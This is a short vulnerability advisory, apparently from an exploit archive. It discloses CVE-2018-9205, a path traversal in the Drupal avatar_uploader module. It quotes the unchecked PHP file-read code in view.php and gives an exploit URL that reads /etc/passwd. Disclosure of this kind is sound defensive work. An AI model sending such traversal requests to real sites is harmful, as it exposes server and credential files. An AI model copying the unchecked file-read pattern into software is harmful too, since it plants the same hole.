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Drupal Avatar Uploader 7.x-1.0-beta8 Arbitary File Download

Drupal Avatar Uploader 7.x-1.0-beta8 Arbitary File Download
Posted Apr 21, 2018
Authored by Larry W. Cashdollar

Drupal Avatar Uploader module version 7.x-1.0-beta8 suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary, file inclusion
advisories | CVE-2018-9205
MD5 | f71fbf325b46560419ed396682ba3a33

Drupal Avatar Uploader 7.x-1.0-beta8 Arbitary File Download

Change Mirror Download
Title: Arbitrary file download vulnerability in Drupal module avatar_uploader v7.x-1.0-beta8
Author: Larry W. Cashdollar
Date: 2018-03-30
CVE-ID:[CVE-2018-9205]
Download Site: https://www.drupal.org/project/avatar_uploader
Vendor: https://www.drupal.org/u/robbinzhao
Vendor Notified: 2018-04-02
Vendor Contact: https://www.drupal.org/project/avatar_uploader/issues/2957966#comment-12554146
Advisory: http://www.vapidlabs.com/advisory.php?v=202
Description: This module used Simple Ajax Uploader, and provide a basic uploader panel, for more effect, you can do your custom javascript. Such as, users' mouse hover on avatar, the edit link will slideup, or others.
Vulnerability:
The view.php contains code to retrieve files but no code to verify a user should be able to view files or keep them from changing the path to outside of the uploadDir directory


<?php

$file = $_GET['file'];

echo file_get_contents("uploadDir/$file");
exit


Exploit Code:
aC/ http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd

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